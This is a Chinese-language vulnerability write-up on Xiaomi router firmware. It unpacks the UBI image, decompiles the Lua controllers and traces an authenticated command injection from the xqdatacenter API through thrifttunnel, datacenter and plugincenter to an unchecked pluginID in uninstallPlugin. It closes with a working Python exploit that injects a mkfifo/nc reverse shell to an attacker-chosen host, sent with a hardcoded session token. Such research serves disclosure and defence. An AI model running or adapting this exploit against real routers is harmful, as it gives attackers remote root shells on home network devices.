固件分析与解包
使用binwalk 命令先看看固件相关的信息,可以看他是一个ubi镜像,我们得使用专门ubi提取固件的工具进行提取,看到ubi那可以判断他是nand类型的闪存
我们使用binwalk进行解包,发现有一个2B4.ubi镜像,使用下面的教程就可以解压出来。
binwalk -Me miwifi_ra70_firmware_cc424_1.0.168.bin
安装工具:
pip install ubireader
提取:
ubireader_extract_images 2B4.ubi
解包发现有个ubifs文件,我们只有需要去解密最核心的rootfs文件,即可得到里面的SquashFS文件系统。
✅ 总结流程图
固件.bin
↓ binwalk
发现 UBI 结构 (0x2B4 等)
↓
提取 UBI 镜像 (dd 或 binwalk)
↓
用 ubireader_extract_images
↓
提取出 UBIFS 镜像
↓
用 ubireader_extract_files 解包 或者binwalk
↓
得到文件系统内容
unluac_miwifi的使用
某米的前端是使用是lua脚本,是编译后luac文件, 且是魔改后的luac, 那么还需要对其进行反编译
<font style="color:rgb(36, 41, 47);">专门针对某米固件的反编译工具</font><font style="color:rgb(9, 105, 218);">unluac_miwifi</font>
git clone https://github.com/NyaMisty/unluac_miwifi.git
cd unluac_miwifi
mkdir build
javac -d build -sourcepath src src/unluac/*.java
jar -cfm build/unluac.jar src/META-INF/MANIFEST.MF -C build .
解密
java -jar ./unluac.jar /home/iotsec-zone/xiaomi/ubifs-root/miwifi_r2100_all_7d7b2_2.0.743.bin/squashfs-root/usr/lib/lua/luci/controller/api/xqdatacenter.lua > ./xqdatacenter.lua
某米后端逻辑
米使用是openwrt框架下cgi的主要逻辑在usr/lib/lua/luci/controller/目录下, 此外还有一个某米自己常用的库在路径usr/lib/lua/xiaoqiang/, 我们关注的主要也就是这两部分
漏洞存在位置
web路径cgi-bin/luci/;stok={token}/api/xqdatacenter/request,需要我们传入payload
字段包含的是一段 JSON 数据,JSON数据中包含api,pluginID等字段。
漏洞利用链分析
在反编译的/usr/lib/lua/luci/controller/api/xqdatacenter.lua
中,可以看到 URL /api/xqdatacenter/request
相关的handler
函数是tunnelRequest
函数,且访问/api/xqdatacenter
这个节点是需要鉴权的,我们使用ai让我们代码具有可读性。
local L0, L1, L2, L3, L4, L5
L0 = module
L1 = "luci.controller.api.xqdatacenter"
L2 = package
L2 = L2.seeall
L0(L1, L2)
function L0()
local L0, L1, L2, L3, L4, L5, L6
L0 = node
L1 = "api"
L2 = "xqdatacenter"
L0 = L0(L1, L2)
L1 = firstchild
L1 = L1()
L0.target = L1
L0.title = ""
L0.order = 300
L0.sysauth = "admin"
L0.sysauth_authenticator = "jsonauth"
L0.index = true
L1 = entry
L2 = {}
L3 = "api"
L4 = "xqdatacenter"
L2[1] = L3
L2[2] = L4
L3 = firstchild
L3 = L3()
L4 = _
L5 = ""
L4 = L4(L5)
L5 = 300
L1(L2, L3, L4, L5)
L1 = entry
L2 = {}
L3 = "api"
L4 = "xqdatacenter"
L5 = "request"
L2[1] = L3
L2[2] = L4
L2[3] = L5
L3 = call
L4 = "tunnelRequest"
L3 = L3(L4)
L4 = _
L5 = ""
L4 = L4(L5)
L5 = 301
L1(L2, L3, L4, L5)
module("luci.controller.api.xqdatacenter", package.seeall)
function index()
local page
-- 创建节点 /api/xqdatacenter
page = node("api", "xqdatacenter")
page.target = firstchild()
page.title = ""
page.order = 300
page.sysauth = "admin"
page.sysauth_authenticator = "jsonauth"
page.index = true
-- 映射 /api/xqdatacenter 到 firstchild()(一般是目录节点)
entry({"api", "xqdatacenter"}, firstchild(), _(""), 300)
-- 映射 /api/xqdatacenter/request 到调用函数 tunnelRequest
entry({"api", "xqdatacenter", "request"}, call("tunnelRequest"), _(""), 301)
end
在tunnelRequest
函数中,传入的 payload
字段包含的是一段 JSON 数据,这段数据是通过 formvalue_unsafe
函数获取的。由于该函数不会对输入内容进行安全过滤,因此可能存在安全隐患。接着,这段 JSON 数据会先被转换为二进制格式,然后通过 binaryBase64Enc
函数进行 Base64 编码。最终,编码后的内容会被拼接进一个由 THRIFT_TUNNEL_TO_DATACENTER
所表示的系统命令中,并被执行。
function L5()
local L0, L1, L2, L3, L4, L5, L6, L7, L8, L9
L0 = require
L1 = "luci.util"
L0 = L0(L1)
L1 = require
L2 = "xiaoqiang.util.XQCryptoUtil"
L1 = L1(L2)
L2 = L1.binaryBase64Enc
L3 = _UPVALUE0_
L3 = L3.formvalue_unsafe
L4 = "payload"
L3, L4, L5, L6, L7, L8, L9 = L3(L4)
L2 = L2(L3, L4, L5, L6, L7, L8, L9)
L3 = _UPVALUE1_
L3 = L3.THRIFT_TUNNEL_TO_DATACENTER
L3 = L3 % L2
L4 = L0.exec
L5 = L3
L4 = L4(L5)
L5 = _UPVALUE0_
L5 = L5.write
L6 = L4
L7 = nil
L8 = false
L9 = true
L5(L6, L7, L8, L9)
L5 = _UPVALUE2_
L5 = L5.decode
L6 = L4
L5 = L5(L6)
L6 = L5.api
if 666 == L6 then
L6 = _UPVALUE1_
L6 = L6.THRIFT_TUNNEL_TO_DATACENTER
L7 = L1.binaryBase64Enc
L8 = L4
L7 = L7(L8)
L3 = L6 % L7
L6 = _UPVALUE3_
L6 = L6.forkExec
L7 = L3
L6(L7)
end
end
tunnelRequest = L5
恢复可读性
function tunnelRequest()
local util = require("luci.util")
local crypto = require("xiaoqiang.util.XQCryptoUtil")
local base64Enc = crypto.binaryBase64Enc
-- 从请求中获取 payload 字段,使用不安全方法(未过滤)
local formvalue = _UPVALUE0_.formvalue_unsafe
local raw_payload = formvalue("payload")
-- base64 编码 payload 内容(包括可能的多参数展开)
local encoded = base64Enc(raw_payload)
-- 构造命令
local cmd_template = _UPVALUE1_.THRIFT_TUNNEL_TO_DATACENTER
local cmd = string.format(cmd_template, encoded)
-- 执行命令
local output = util.exec(cmd)
-- 写出执行结果
_UPVALUE0_.write(output, nil, false, true)
-- 解码返回结果
local decode = _UPVALUE2_.decode
local parsed = decode(output)
-- 如果解析结果中 api == 666,则执行二次命令
if parsed.api == 666 then
local second_cmd_template = _UPVALUE1_.THRIFT_TUNNEL_TO_DATACENTER
local second_encoded = base64Enc(output)
local second_cmd = string.format(second_cmd_template, second_encoded)
-- fork 执行命令
_UPVALUE3_.forkExec(second_cmd)
end
end
我们搜索之前区别解密lua脚本,使用grep命令进行查看THRIFT_TUNNEL_TO_DATACENTER在/usr/lib/lua/xiaoqiang/common/XQConfigs.lua下,我们可以看到所指代的命令为thrifttunnel 0 '%s',那就简单了, string.format函数需要传入cmd_template, encoded这两个参数,即thrifttunnel 0 'base64编码的payload字段'赋值给我们cmd,最后执行我们命令util.exec(cmd),那我们需要去分析thrifttunnel逻辑了
L0 = "thrifttunnel 0 '%s'"
THRIFT_TUNNEL_TO_DATACENTER = L0
L0 = "thrifttunnel 1 '%s'"
THRIFT_TUNNEL_TO_SMARTHOME = L0
L0 = "thrifttunnel 2 '%s'"
THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER = L0
L0 = "thrifttunnel 3 ''"
THRIFT_TO_MQTT_IDENTIFY_DEVICE = L0
L0 = "thrifttunnel 4 ''"
THRIFT_TO_MQTT_GET_SN = L0
L0 = "thrifttunnel 5 ''"
THRIFT_TO_MQTT_GET_DEVICEID = L0
L0 = "thrifttunnel 6 '%s'"
THRIFT_TUNNEL_TO_MIIO = L0
L0 = "thrifttunnel 7 '%s'"
THRIFT_TUNNEL_TO_YEELINK = L0
L0 = "thrifttunnel 8 '%s'"
THRIFT_TUNNEL_TO_CACHECENTER = L0
使用ida分析thrifttunnel逻辑,当我们收到三个参数后会进if判断, 将命令行参数 argv[2]
的字符串内容赋值给变量 v9
(一个 std::string
对象) , 将空字符串 ""
赋值给 v11
,
进入sub_40DB30
函数后,可以发现首先将与a1
(Base64
编码的payload
字段)相关的数据作为参数传入了sub_40FABC
函数处理,并最终将其返回结果通过string::assign()
赋值给了a2
(即上一级的v11
变量),这个sub_40FABC函数看起来是从一段压缩或编码数据中解码并还原出字符数据,通过位操作和查表方式解析 UTF-8 或自定义 Base64-like 编码,最终写入一个输出流或对象(v13
和 v6
)中 ,猜测这里进行了解密的操作,那其实其参数v11
就是解码后的Json
字符串。
我们回到主函数进行分析,取我们命令行参数的第二个也就是option 0,那就没错了,由于if判断太难看了,我们使用ai恢复成swich语句,那可以快速的分析我们的代码逻辑,当v6=0的时候会进入sub_40DFE4函数。
在sub_40DBF4
函数中,创建了socket
,结合传入的参数(上级的v11
变量)是Json
字符串,很容易判断出此处会将payload
字段的Json
数据发送给本地127.0.0.1
的9090
端口
/usr/sbin/datacenter程序一直挂在进程中,监听着9090端口,故我们的数据被传到了datacenter程序进一步处理。我们的漏洞点是在605的时候会调用callPluginCenter函数,我们简单的分析一下callPluginCenter函数。
又是发送给本地9091端口进行处理,我们找到9091端口对应的文件是plugincenter,这个文件在系统的/usr/sbin/plugincenter
我们继续跟踪plugincenter这个二进制程序,我在函数栏进行查找搜索api,查看是否有605对应的映射关系,在经历千辛万苦的寻找终于在datacenter::PluginApiMappingCollection::sConstructMappingTable函数,看到是4663901十进制,我们找到对应地址进行跳转。
跳转地址是上面可以看见是0x472A5D,我接着分析,json格式里面pluginID参数最终赋值给了函数uninstallPlugin里面参数v14,我们接着分析uninstallPlugin函数。
我们传入的值是a3对应传递给了uninstallPlugin函数,我们接着分析uninstallPlugin函数
我们传入的参数在没有任何校验情况下,进行命令执行。到这里完整利用链就清楚了,那我们现在来构造最后的exp。
exp
import requests
import socket
import sys
server_ip = ""
client_ip = ""
token = "b994ce28a0bfb56c5ea54be1e97d0e99"
# 构造反弹 shell 命令
nc_shell = ";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} 6666 >/tmp/f;".format(client_ip)
# 尝试连接目标服务器的 80 端口,判断是否在线
def is_host_reachable(ip, port=8098, timeout=2):
try:
socket.setdefaulttimeout(timeout)
socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect((ip, port))
return True
except:
return False
# 如果无法连通则退出
if not is_host_reachable(server_ip):
print(f"[!] 无法连接到 {server_ip}:8098,终止执行")
sys.exit(1)
# 发起请求
try:
res = requests.post(
f"http://{server_ip}/cgi-bin/luci/;stok={token}/api/xqdatacenter/request",
data={'payload': '{"api":605, "pluginID":"' + nc_shell + '"}'}
)
print("[+] 请求已发送,返回内容:")
print(res.text)
except Exception as e:
print(f"[!] 请求发送失败:{e}")
最后成功打出反弹shell